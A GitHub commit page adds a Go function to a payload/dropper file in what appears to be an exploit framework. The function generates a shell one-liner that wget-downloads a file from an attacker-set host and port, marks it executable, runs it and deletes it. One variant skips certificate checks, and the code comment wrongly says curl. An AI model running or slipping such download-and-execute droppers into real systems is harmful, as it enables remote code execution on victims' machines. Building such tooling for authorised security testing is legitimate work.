Skip to content

Commit 7c2834e

Browse files
authored
Merge pull request #472 from vulncheck-oss/payload-dropper-wget
Wget dropper execute payload
2 parents b810f5e + b7f42a1 commit 7c2834e

File tree

1 file changed

+13
-0
lines changed

1 file changed

+13
-0
lines changed

payload/dropper/unix.go

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -44,6 +44,19 @@ func (unix *UnixPayload) EitherHTTP(lhost string, lport int, ssl bool, downloadF
4444
output, uri, output, uri, output, output, output)
4545
}
4646

47+
// Download a remote file with curl, execute it, and delete it.
48+
func (unix *UnixPayload) WgetHTTPEx(lhost string, lport int, ssl bool, downloadFile string) string {
49+
output := "/tmp/" + random.RandLetters(3)
50+
51+
if ssl {
52+
return fmt.Sprintf("wget --no-check-certificate -O %s https://%s:%d/%s && chmod +x %s && %s & rm -f %s",
53+
output, lhost, lport, downloadFile, output, output, output)
54+
}
55+
56+
return fmt.Sprintf("wget -O %s http://%s:%d/%s && chmod +x %s && %s & rm -f %s",
57+
output, lhost, lport, downloadFile, output, output, output)
58+
}
59+
4760
// Download a remote bash script with wget and pipe it to bash.
4861
func (unix *UnixPayload) WgetHTTP(lhost string, lport int, ssl bool, downloadFile string) string {
4962
uri := fmt.Sprintf("%s:%d/%s", lhost, lport, downloadFile)

0 commit comments

Comments
 (0)